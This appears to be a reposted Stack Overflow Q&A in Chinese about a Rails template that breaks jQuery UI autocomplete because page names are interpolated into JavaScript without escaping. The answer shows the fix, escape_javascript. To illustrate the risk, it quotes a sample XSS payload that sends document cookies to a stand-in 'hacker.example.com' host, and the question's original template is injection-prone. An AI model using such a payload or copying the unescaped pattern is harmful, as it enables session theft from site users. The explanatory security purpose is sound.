gpt4 book ai didi

javascript - 按 DESC 排序输入会破坏 jQuery UI 自动完成功能

转载 作者:行者123 更新时间:2023-12-03 08:33:02 25 4
gpt4 key购买 nike

我正在尝试将表 Page 输入到 jQuery UI 自动完成中。如果我用 Page.order('id ASC') 输入它,它会完美地工作,但如果我用 Page.order('id DESC') 输入它,它就会崩溃,尽管这条线

Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{name}\"" }.join(",\n")

在我的 Rails 控制台中执行无错误。它甚至破坏了同一页面的另一个 jQuery UI 自动完成功能,所以我认为 jQuery 本身一定是失败了。

它在我的页面源中两次都没有错误地打印。

有人知道为什么它在这种情况下失败吗?

  <head>
<meta charset="utf-8">
<title>jQuery UI Autocomplete - Multiple values</title>
<link rel="stylesheet" href="//code.jquery.com/ui/1.11.1/themes/smoothness/jquery-ui.css">
<script src="//code.jquery.com/jquery-1.10.2.js"></script>
<script src="//code.jquery.com/ui/1.11.1/jquery-ui.js"></script>
<link rel="stylesheet" href="/resources/demos/style.css">
<script>
$(function() {
var availableTags = [
<%= raw(Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{name}\"" }.join(",\n")) %>
];
function split( val ) {
return val.split( /,\s*/ );
}
function extractLast( term ) {
return split( term ).pop();
}

$( "#pages" )
// don't navigate away from the field on tab when selecting an item
.bind( "keydown", function( event ) {
if ( event.keyCode === $.ui.keyCode.TAB &&
$( this ).autocomplete( "instance" ).menu.active ) {
event.preventDefault();
}
})
.autocomplete({
minLength: 0,
source: function( request, response ) {
// delegate back to autocomplete, but extract the last term
response( $.ui.autocomplete.filter(
availableTags, extractLast( request.term ) ) );
},
focus: function() {
// prevent value inserted on focus
return false;
},
select: function( event, ui ) {
var terms = split( this.value );
// remove the current input
terms.pop();
// add the selected item
terms.push( ui.item.value );
// add placeholder to get the comma-and-space at the end
terms.push( "" );
this.value = terms.join( ", " );
return false;
}
});
});
</script>
</head>

<div class="ui-widget">
<textarea id="pages" name="pages" size="50"></textarea>
</div><br>

最佳答案

您的数据库中是否有超过 1000 条页面记录?您可能会选择一组不同的页面,其中一个页面的标题可能类似于

How to use "quotation" marks

Tabs    slashes \\\ & special characters @%*(!@#😱

或更糟

"]});</script><script>document.location = "http://hacker.example.com/steal?data=" + document.cookies</script>

这些将直接插入到你的 JS 中,例如:

$(function() {
var availableTags = [
"How to use "quotation" marks",
"Tabs slashes \\\ & special characters @%*(!@#😱",
""]});</script><script>document.location = "http://hacker.example.com/steal?data=" + document.cookies</script>"
];
...

所有这些都不好。前两个可能会破坏脚本,因为在没有正确转义为 \" 的情况下,字符串中间不允许出现引号和斜杠之类的内容。和\\ .

Rails 提供了一个名为 escape_javascript 的便捷函数,也别名为 j ,您可以使用它来转义 JavaScript 代码。例如。 data = "<%=j 'a"b"c' %>";将输出data = "a\"b\"c";

我将更新生成 availableTags 数组的循环以使用此方法:

var availableTags = [
<%= safe_join(Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{escape_javascript(name)}\"".html_safe }, ",\n") %>
];

关于javascript - 按 DESC 排序输入会破坏 jQuery UI 自动完成功能,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/33275835/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com